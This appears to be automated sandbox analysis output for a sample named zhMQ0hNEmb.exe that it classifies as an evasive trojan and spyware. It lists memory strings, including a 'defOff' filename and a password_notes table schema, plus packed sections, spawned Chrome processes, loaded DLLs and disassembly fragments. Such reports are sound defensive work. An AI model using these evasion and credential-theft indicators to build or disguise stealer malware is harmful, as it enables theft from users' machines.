Source: zhMQ0hNEmb.exe, 00000000.00000003.1594009487.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1612875573.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1599319684.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1598802389.0000000005BD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592968202.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596261607.0000000005BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615293682.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595003128.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1611029321.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1613206392.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615426346.0000000005C18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1616963466.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594816911.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1602785903.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000002.1736816106.0000000005BE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1617665885.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1613036464.0000000005C10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1618356072.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1616803511.0000000005C29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592421670.000000000594B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592040330.000000000594B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1618110497.0000000005AF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615090697.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614010448.0000000005AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1590440451.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1613655003.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614355656.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594540914.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1600427125.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1616649305.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1603522792.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594393586.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614737569.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614555277.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1641815001.0000000005788000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1597548850.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1617112429.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596456076.0000000005AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596790567.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1605636823.0000000005C04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1603192728.0000000005BEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1597354108.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1618569359.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1610535334.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1597135232.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1591816193.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1617865913.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1607861348.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593902657.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe

Source: zhMQ0hNEmb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: zhMQ0hNEmb.exe	Static PE information: Section: ZLIB complexity 0.999755859375
Source: zhMQ0hNEmb.exe	Static PE information: Section: dsrsezxi ZLIB complexity 0.9950115811057109

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@9/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: zhMQ0hNEmb.exe, 00000000.00000003.1482037955.0000000005652000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1469594312.000000000564D000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1482380829.00000000056E1000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1469299956.0000000005668000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: zhMQ0hNEmb.exe	Virustotal: Detection: 52%
Source: zhMQ0hNEmb.exe	ReversingLabs: Detection: 60%

Source: zhMQ0hNEmb.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: zhMQ0hNEmb.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

File read: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\zhMQ0hNEmb.exe "C:\Users\user\Desktop\zhMQ0hNEmb.exe"
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1824,i,7818808876936737613,10262828118435148065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1924,i,235823982436672162,2935553708085510166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1824,i,7818808876936737613,10262828118435148065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1924,i,235823982436672162,2935553708085510166,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: zhMQ0hNEmb.exe

Static file information: File size 1856512 > 1048576

Source: zhMQ0hNEmb.exe

Static PE information: Raw size of dsrsezxi is bigger than: 0x100000 < 0x19b800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: zhMQ0hNEmb.exe, 00000000.00000002.1736405657.0000000005BE2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Unpacked PE file: 0.2.zhMQ0hNEmb.exe.720000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dsrsezxi:EW;zdkfxezw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dsrsezxi:EW;zdkfxezw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: zhMQ0hNEmb.exe

Static PE information: real checksum: 0x1d3fc4 should be: 0x1cd6f8

Source: zhMQ0hNEmb.exe	Static PE information: section name:
Source: zhMQ0hNEmb.exe	Static PE information: section name: .idata
Source: zhMQ0hNEmb.exe	Static PE information: section name:
Source: zhMQ0hNEmb.exe	Static PE information: section name: dsrsezxi
Source: zhMQ0hNEmb.exe	Static PE information: section name: zdkfxezw
Source: zhMQ0hNEmb.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BEE9E0 push ecx; mov dword ptr [esp], eax	0_2_05BEF5A5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF15B2 push edx; mov dword ptr [esp], edi	0_2_05BF2ADC
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF0D96 push edi; mov dword ptr [esp], esi	0_2_05BF48E1
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF258C push ebp; mov dword ptr [esp], 3F401E06h	0_2_05BF258D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF1587 push edx; mov dword ptr [esp], 14F46E5Eh	0_2_05BF158E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BECD80 push 131BF973h; mov dword ptr [esp], edi	0_2_05BECD89
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BEEDE3 push esi; mov dword ptr [esp], eax	0_2_05BEEDF6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BED5CB push 2A9505B0h; mov dword ptr [esp], ebx	0_2_05BED83A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BED5CB push edx; mov dword ptr [esp], ebp	0_2_05BED848
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF1539 push 7FC710A1h; mov dword ptr [esp], esp	0_2_05BF1544
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF1539 push edi; mov dword ptr [esp], ecx	0_2_05BF154D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF4527 push edx; mov dword ptr [esp], 692C360Ah	0_2_05BF4536
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE508 push eax; mov dword ptr [esp], 3EEB6149h	0_2_05BFEA43
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE508 push ebx; mov dword ptr [esp], 7F6D6700h	0_2_05BFEBCE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE508 push 57423E51h; mov dword ptr [esp], eax	0_2_05BFEBF5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF1573 push ebp; mov dword ptr [esp], 7FBE9D7Bh	0_2_05BF2FBA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF1D4E push ebx; mov dword ptr [esp], ebp	0_2_05BF3CE5
